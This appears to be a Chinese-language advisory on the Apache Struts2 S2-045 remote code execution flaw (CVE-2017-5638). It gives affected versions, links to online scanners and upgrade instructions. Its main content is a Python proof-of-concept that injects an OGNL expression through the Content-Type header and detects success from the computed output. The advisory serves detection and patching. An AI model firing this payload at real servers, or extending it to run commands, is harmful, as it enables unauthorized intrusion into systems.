0x00 漏洞介紹
Apache Struts2的Jakarta Multipart parser插件存在遠程代碼執行漏洞，漏洞編號為CNNVD-201703-152。攻擊者可以在使用該插件上傳文件時，修改HTTP請求頭中的Content-Type值來觸發該漏洞，導致遠程執行代碼。
具體漏洞描述如下：
https://cwiki.apache.org/confluence/display/WW/S2-045?from=timeline&isappinstalled=0
0x01 受影響版本
- Struts 2.3.5 – Struts 2.3.31
- Struts 2.5 – Struts 2.5.10
0x02 Python POC
此POC由Python編寫，需要安裝requests包。
#coding: UTF-8
#漏洞名：Apache Struts2 曝任意代碼執行漏洞
#CVE編號:S2-045,CVE-2017-5638
#說明：此程序主要用于檢查是否存在此漏洞
#申明：此程序且供交流學習使用，嚴禁非法使用
#python version 2.7
import requests
import sys
def poc(url):
payload = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}"
headers = {}
headers["Content-Type"] = payload
r = requests.get(url, headers=headers)
if "105059592" in r.content:
return True
return False
if __name__ == '__main__':
print "Apache Struts2 曝任意代碼執行漏洞 POC"
#xxx.do 或者xxx.action
url="" #填寫檢測地址
if poc(url):
print "存在此漏洞！"
else:
print "不存在此漏洞！"
0x03 在線漏洞檢測
綠盟科技緊急漏洞在線檢測：
https://cloud.nsfocus.com/#/krosa/views/initcdr/productandservice?page：_id=12
安恒重大漏洞在線檢測：
http://0day.websaas.com.cn/?code=vsnh
魔方安全檢測：
http://matrix.cubesec.cn/src/views/scaning.html
0x04 官方解決方案
官方已經發布了版本更新，建議用戶升級到不受影響的最新版本(Struts2 2.3.32或Struts 2.5.10.1)，下載鏈接如下所示：
Struts 2.3.32: https://github.com/apache/struts/releases/tag/STRUTS_2_3_32
Struts 2.5.10.1:https://github.com/apache/struts/releases/tag/STRUTS_2_5_10_1
